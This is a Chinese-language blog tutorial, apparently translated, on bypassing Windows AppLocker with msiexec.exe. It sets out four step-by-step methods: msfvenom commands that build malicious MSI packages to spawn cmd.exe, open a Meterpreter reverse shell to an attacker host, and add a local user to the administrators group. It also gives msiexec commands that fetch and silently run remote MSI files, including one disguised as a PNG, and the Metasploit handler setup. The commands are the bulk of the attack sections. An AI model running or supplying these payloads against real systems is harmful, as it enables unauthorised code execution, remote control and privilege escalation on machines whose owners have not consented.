使用msiexec.exe绕过应用程序白名单（多种方法）

我不是女神ヾ 2024-04-07 10:53 98阅读 0赞

### **0x00 前言** ###

在我们之前的文章中，我们讨论了“[Windows Applocker策略 - 初学者指南][Windows Applocker_ -]”，因为它们为应用程序控制策略定义了AppLocker规则，以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中，我们使用Windows AppLocker策略阻止了“cmd.exe”文件，并尝试绕过此限制以获得命令提示。

### **0x01 Applocker适用的关联文件格式** ###

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略，用于限制不需要的程序的使用。在这种情况下，管理员可以限制以下程序的执行：

![ab132732233c0b89360d50778d502ae8.png][]

这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况

![ac7d15035cfe21a7416de34cd2c71e7d.png][]

### **0x02 挑战1:使用.msi文件绕过Applocker获取CMD** ###

假设您处于类似的情况，所有上述应用程序都被阻止，并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么，您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢？

#### **1.关于MSI文件的更多信息** ####

MSI名称来自程序的原始标题Microsoft Installer。从那以后，名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包中包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件，其中包含安装数据库、摘要信息流和安装不同部分的数据流。

Windows Installer技术分为两部分，它们结合使用，包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。

msiexec.exe程序是Windows Installer的组件。当安装程序调用它时，msiexec.exe使用msi.dll读取包(.msi)文件，应用任何转换(.mst)文件，并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务，包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框，以便在必要时提示用户安装首选项。

在计算机上安装Windows Installer时，它会更改.msi文件的已注册文件类型，以便在双击.msi文件时，Msiexec.exe将与该文件一起运行。

每个MSI包文件都包含一个关系型数据库，该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。

#### **2.获取CMD的多种方法** ####

##### (1).第一种方法：使用msfvenom生成恶意.msi文件 #####

现在，让我们在kali机器中打开一个新的终端，并生成一个恶意的msi包文件作为cmd.msi，通过使用windows/exec 执行exploit获得命令提示，如下所示：

msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
    python -m SimpleHTTPServer 80

现在在Windows计算机中传输cmd.msi文件，以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。

![c42fd793bd7cd5bd13ca6dd93536aa69.png][]

在本地计算机上下载.msi文件后，可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。

**语法：msiexec /quiet /i**

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

![1a73a432367666d46031cbf486893cd4.png][]

只要你在运行提示符中点击上述命令，就会得到命令提示符。

***![74a82dc632dfbec392edfb2833082db6.png][]***

##### **(2).第二种方法：使用msfvenom生成恶意.msi文件** #####

***注意：****即使您在另一个扩展名中重命名cmd.msi文件，它也会绕过该规则。*

重复以上步骤，生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件，所以我将它重命名为cmd.png，并使用python服务器来传输它

![31c9477b8871c731a4eb2e20e18106eb.png][]

在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后，就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

**语法：** msiexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

![c2cfc69eeac04c59a14d31e85b202605.png][]

只要你在运行提示符中点击上述命令，就会得到命令提示符。

![cc1603cd63593e54d4c3c02c234a6180.png][]

##### **(3).第三种方法：使用msfvenom生成恶意.msi文件** #####

在上述方法中，我们通过使用windows/exec payload获得命令提示符，但现在我们将使用windows/meterpreter/reverse\_tcp payload通过meterpreter会话获得完全权限的命令shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi

现在再次在Windows计算机中传输shell.msi文件，以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。

![95d547fb215e25a961ef1e93e90c6f55.png][]

在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后，可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

**语法：** msiexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

![376268acfffd1927c94f2844596255b2.png][]

只要您在运行提示符中点击上述命令，您将通过使用此payload的meterpreter会话获得命令提示。

msf > use exploit/multi/handler
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(handler) > set lhost 192.168.1.107
    msf exploit(handler) > set lport 1234
    msf exploit(handler) > exploit
    meterpreter > shell

![3e1623085cbf3e233863f57380628e8e.png][]

### **0x03 挑战2:使管理员组的本地用户成员** ###

假设您处于类似的情况，所有上述应用程序都被阻止，并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

**那么如何使用MSI文件绕过这些限制，使管理员组的本地用户成员阻止cmd.exe运行？**

**注意：**该aaru是本地用户帐户，不是非管理员用户帐户，如下所示：

![9401e71771d68ac155c44333dfe159b9.png][]

我们知道由于applocker执行规则策略，cmd.exe在本地计算机上被阻止，因此我们无法使用命令提示符在管理员组中添加aaru。

![40f09bb02fdccb2f2331a8b432a0d864.png][]

##### **(1).第四种方法：使用msfvenom生成恶意.msi文件** #####

使用Windows/Exec payload生成MSI包作为admin.msi，该payload发送一条命令，指示将用户aaru的本地管理员权限添加到目标计算机中。

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

现在，在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。

![f39f2569bc97a16dd371da96bc410de9.png][]

下载完本地计算机的admin.msi文件(其中，admin阻止了cmd.exe的Windows操作系统)后，可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件

**语法：msiexec /q /i**

msiexec /q /i http://192.168.1.107/admin.msi

![765212e14d4a053757c09613e36451ba.png][]

只要您在运行提示符中点击上述命令，就可以确保aaru用户已成为管理员帐户的一部分。

![e0c7f5c35983d4eec619e8b609610d44.png][]

本文中我们将了解到，如何使用.msi文件来绕过操作系统策略限制而执行，在该系统中，cmd.exe和其他应用程序被管理员阻止。

***参考文献：***

[*https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology*][https_support.microsoft.com_en-gb_help_310598_overview-of-the-windows-installer-technology]

*https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/*

[Windows Applocker_ -]: https://www.hackingarticles.in/windows-applocker-policy-a-beginners-guide/
[ab132732233c0b89360d50778d502ae8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/88f97317ae3a42bb93b6f501092dba02.png
[ac7d15035cfe21a7416de34cd2c71e7d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eca24218882748ce9facf73332327813.png
[c42fd793bd7cd5bd13ca6dd93536aa69.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2f8b0f98224342ef9c64356719bf400d.png
[1a73a432367666d46031cbf486893cd4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3597c4a08bfb4d479f1cabab48fbc007.png
[74a82dc632dfbec392edfb2833082db6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2b26445819fa43ca9bcf6cb4b104c59f.png
[31c9477b8871c731a4eb2e20e18106eb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a281fe15da52412a97b5ded62969e084.png
[c2cfc69eeac04c59a14d31e85b202605.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f45a3fb3cf8042669139801af68db92d.png
[cc1603cd63593e54d4c3c02c234a6180.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5d2453be75874ffdbc82c8e3b359f5fd.png
[95d547fb215e25a961ef1e93e90c6f55.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/19bf3b4d870c42399da5e47ca596ac50.png
[376268acfffd1927c94f2844596255b2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/934b520c44d04cebaf78a76e6faf5e44.png
[3e1623085cbf3e233863f57380628e8e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ee15dd5135014e4e83e4d84045803c6d.png
[9401e71771d68ac155c44333dfe159b9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a18d02362eef4aec89229b73965e3f84.png
[40f09bb02fdccb2f2331a8b432a0d864.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2907872efe254807aac2c3b76541b0ce.png
[f39f2569bc97a16dd371da96bc410de9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/15cd0c2bbad1450d99c32b8a0aa09cac.png
[765212e14d4a053757c09613e36451ba.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bf4460bd57344cf6998aca37b3880d4f.png
[e0c7f5c35983d4eec619e8b609610d44.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9342db9f960a47cbb2c7e6c3be3e3e05.png
[https_support.microsoft.com_en-gb_help_310598_overview-of-the-windows-installer-technology]: https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology